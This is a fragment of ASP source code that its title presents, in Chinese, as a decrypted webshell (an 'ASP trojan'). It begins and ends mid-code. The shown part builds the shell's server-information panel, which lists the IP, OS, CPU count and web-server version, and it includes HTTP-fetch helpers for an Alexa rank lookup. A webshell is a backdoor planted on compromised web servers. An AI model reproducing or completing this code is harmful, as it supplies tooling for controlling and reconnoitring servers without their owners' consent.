asp木马代码解密的随机加密webshell

.com/ips.asp'' name=''ipform'' target=''_blank''><tr align=''center''><td height=''20'' width=''200'' bgcolor=''#FFFFFF''>服务器IP</td><td bgcolor=''#FFFFFF''> </td><td bgcolor=''#FFFFFF''><input type=''text'' name=''ip'' size=''15'' value=''"&Request.ServerVariables("LOCAL_ADDR")&"''style=''border:0px''><input type=''submit'' value=''查询此服务器所在地''style=''border:0px''><input type=''hidden'' name=''action'' value=''2''></td></tr></form><form method=post action=''?Action=Alexa'' name=''form1''><tr align=''center''><td height=''20'' width=''200'' bgcolor=''#FFFFFF''>服务器Alexa排名</td><td bgcolor=''#FFFFFF''> </td><td bgcolor=''#FFFFFF''><input type=''text'' name=''u'' value=''"&AlexaUrl&"'' size=40 style=''border:0px''>排名:<input type=''text'' value=''"&Top&"'' size=10><input type=''submit'' value=''查询''></td></tr></form><tr align=''center''><td height=''20'' width=''200'' bgcolor=''#FFFFFF''>服务器时间</td><td bgcolor=''#FFFFFF''> </td><td bgcolor=''#FFFFFF''>"&now&" </td></tr><tr align=''center''><td height=''20'' width=''200'' bgcolor=''#FFFFFF''>服务器CPU数量</td><td bgcolor=''#FFFFFF''> </td><td bgcolor=''#FFFFFF''>"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"</td></tr><tr align=''center''><td height=''20'' width=''200'' bgcolor=''#FFFFFF''>服务器操作系统</td><td bgcolor=''#FFFFFF''> </td><td bgcolor=''#FFFFFF''>"&Request.ServerVariables("OS")&"</td></tr><tr align=''center''><td height=''20'' width=''200'' bgcolor=''#FFFFFF''>WEB服务器版本</td><td bgcolor=''#FFFFFF''> </td><td bgcolor=''#FFFFFF''>"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr>"
For i=0 To 13
SI=SI&"<tr align=''center''><td height=''20'' width=''200'' bgcolor=''#FFFFFF''>"&ObT(i,0)&"</td><td bgcolor=''#FFFFFF''>"&ObT(i,1)&"</td><td bgcolor=''#FFFFFF'' align=left>"&ObT(i,2)&"</td></tr>"
Next
RRS SI
Err.Clear
function Alexa(AlexaURL)
on error resume next
dim getsms,getstr,url
dim star,endd
url="http://data.alexa.com/data?cli=10&dat=snba&url="&AlexaURL
getsms=getHTTPPage(url)
if getsms<>"" then
star=instr(getsms,"<REACH RANK=""")+13
endd=instr(star,getsms,"</SD>")
getstr=mid(getsms,star,endd-star-4)
else
getstr="无排名"
end if
if IsNumeric(getstr)=false then getstr="无排名"
Alexa=getstr
end function
function getHTTPPage(url)
on error resume next
dim http
set http=Server.createobject("Microsoft.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
getHTTPPage=""
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn